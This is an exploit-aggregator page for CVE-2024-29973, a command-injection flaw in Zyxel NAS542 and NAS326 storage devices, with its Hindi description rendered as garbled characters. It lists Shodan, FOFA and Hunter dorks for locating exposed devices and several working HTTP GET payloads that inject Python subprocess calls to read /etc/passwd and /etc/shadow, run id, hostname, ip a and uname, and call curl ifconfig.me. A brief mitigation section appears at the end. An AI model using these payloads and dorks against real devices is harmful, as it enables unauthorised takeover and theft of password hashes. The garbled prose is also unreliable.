Sploitus

Exploit for CVE-2024-29973

kitploit ┬╖ 2026-09-06

Exploit Code

MARKDOWN99 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KERNEL364-CVE-2024-29973
# CVE-2024-29973 - рд░рд┐рдореЛрдЯ рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрд╢рди рднреЗрджреНрдпрддрд╛

## рд╡рд┐рд╡рд░рдг

CVE-2024-29973 рдХреБрдЫ Zyxel рдиреЗрдЯрд╡рд░реНрдХрд┐рдВрдЧ рдЙрдкрдХрд░рдгреЛрдВ рдореЗрдВ рдкрд╛рдИ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдПрдХ рдЧрдВрднреАрд░ рднреЗрджреНрдпрддрд╛ рд╣реИред рдпрд╣ рднреЗрджреНрдпрддрд╛ рдПрдХ рдЕрдирдзрд┐рдХреГрдд рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдлрд░реНрдорд╡реЗрдпрд░ рдореЗрдВ рдЕрдиреБрдЪрд┐рдд рдЗрдирдкреБрдЯ рд╕рддреНрдпрд╛рдкрди рддрдВрддреНрд░реЛрдВ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдХрд░ рд▓рдХреНрд╖рд┐рдд рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдордирдорд╛рдиреЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП HTTP рдЕрдиреБрд░реЛрдз рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рд╕рд┐рд╕реНрдЯрдо-рд╕реНрддрд░реАрдп рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

### Dorks

Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"

### рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ

рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрд╢рди: рдпрд╣ рднреЗрджреНрдпрддрд╛ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд╡реЗрдм рдЗрдВрдЯрд░рдлреЗрд╕ рдореЗрдВ рд╕реЗ рдПрдХ рдореЗрдВ рдЕрдкрд░реНрдпрд╛рдкреНрдд рдЗрдирдкреБрдЯ рд╕реИрдирд┐рдЯрд╛рдЗрдЬрд╝реЗрд╢рди рдХреЗ рдХрд╛рд░рдг рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИред рдпрд╣ рджреЛрд╖ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ HTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рднреАрддрд░ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХрдорд╛рдВрдб рдЬреЛрдбрд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдЙрджрд╛рд╣рд░рдг: рд╣рдорд▓рд╛рд╡рд░ рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдЙрджрд╛рд╣рд░рдг рдЬреИрд╕реЗ HTTP GET рдЕрдиреБрд░реЛрдз рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдорд╛рдВрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
    

рдкреНрд░рднрд╛рд╡: рд╕рдлрд▓ рд╢реЛрд╖рдг рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рд╕рд┐рд╕реНрдЯрдо рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд░рд┐рдореЛрдЯ рдирд┐рдпрдВрддреНрд░рдг, рдбреЗрдЯрд╛ рд░рд┐рд╕рд╛рд╡, рдпрд╛ рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗ рдЖрдЧреЗ рд╕рдордЭреМрддрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

## рд░реЛрдХрдерд╛рдо

рдЗрд╕ рднреЗрджреНрдпрддрд╛ рд╕реЗ рдЬреБрдбрд╝реЗ рдЬреЛрдЦрд┐рдореЛрдВ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрди рдЪрд░рдгреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ:

рдлрд░реНрдорд╡реЗрдпрд░ рдЕрдкрдбреЗрдЯ: рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рд╕рднреА Zyxel рдбрд┐рд╡рд╛рдЗрд╕ рдирд╡реАрдирддрдо рдлрд░реНрдорд╡реЗрдпрд░ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдЕрдкрдбреЗрдЯ рдХрд┐рдП рдЧрдП рд╣реИрдВред Zyxel рдиреЗ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рд╕рдВрдмреЛрдзрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкреИрдЪ рдЬрд╛рд░реА рдХрд┐рдП рд╣реИрдВред рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рдЕрдкрдбреЗрдЯ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рддреБрд░рдВрдд рд▓рд╛рдЧреВ рдХрд░реЗрдВред

рдиреЗрдЯрд╡рд░реНрдХ рд╡рд┐рднрд╛рдЬрди: рдХрдордЬреЛрд░ рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдХреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдиреЗрдЯрд╡рд░реНрдХ рдмреБрдирд┐рдпрд╛рджреА рдврд╛рдВрдЪреЗ рд╕реЗ рдЕрд▓рдЧ рдХрд░реЗрдВред рдХреЗрд╡рд▓ рдЖрд╡рд╢реНрдпрдХ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░реЗрдВ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЗрдВрдЯрд░рдлреЗрд╕ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рд╕реБрд▓рдн рдирд╣реАрдВ рд╣реИрдВред

рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди: рдЖрдиреЗ рд╡рд╛рд▓реЗ рдФрд░ рдмрд╛рд╣рд░ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдХреЗрд╡рд▓ рдЖрд╡рд╢реНрдпрдХ рд╕реЗрд╡рд╛рдУрдВ рддрдХ рд╕реАрдорд┐рдд рдХрд░реЗрдВред Zyxel рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рддрдХ рдЕрдирд╛рд╡рд╢реНрдпрдХ HTTP рдкрд╣реБрдБрдЪ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░реЗрдВред

рд╕рдВрджрд┐рдЧреНрдз рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░реЗрдВ: рд▓реЙрдЧрд┐рдВрдЧ рдФрд░ рдореЙрдирд┐рдЯрд░рд┐рдВрдЧ рдЯреВрд▓ рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдЬреЛ рдЕрд╕рд╛рдорд╛рдиреНрдп рд╡реНрдпрд╡рд╣рд╛рд░, рдЬреИрд╕реЗ рдмрд╛рд░-рдмрд╛рд░ рд▓реЙрдЧрд┐рди рдкреНрд░рдпрд╛рд╕ рдпрд╛ рдЕрд╕рд╛рдорд╛рдиреНрдп рдЯреНрд░реИрдлрд╝рд┐рдХ рдкреИрдЯрд░реНрди рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХреЗрдВ рдФрд░ рдЕрд▓рд░реНрдЯ рдХрд░ рд╕рдХреЗрдВред

рд╕рдВрджрд░реНрдн рд░рд╛рд╖реНрдЯреНрд░реАрдп рднреЗрджреНрдпрддрд╛ рдбреЗрдЯрд╛рдмреЗрд╕ - CVE-2024-29973 Zyxel рд╕реБрд░рдХреНрд╖рд╛ рд╕рд▓рд╛рд╣

## рдЫрд╡рд┐рдпрд╛рдБ

![alt text](https://assets.kitploit.com/production/public/readmes/42632/20e6552bfb8a359afa1a0ba9b77944aa1c0bc591bac6ef225e49d177efab91da.png)

# POC

## /etc/passwd

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
    

## /etc/shadow

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
    

## ifconfig

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
    

## hostname

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
    

## ip

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
    

## uname -a

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
    

## /etc/group

root@kitploit:~
    
    
    GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1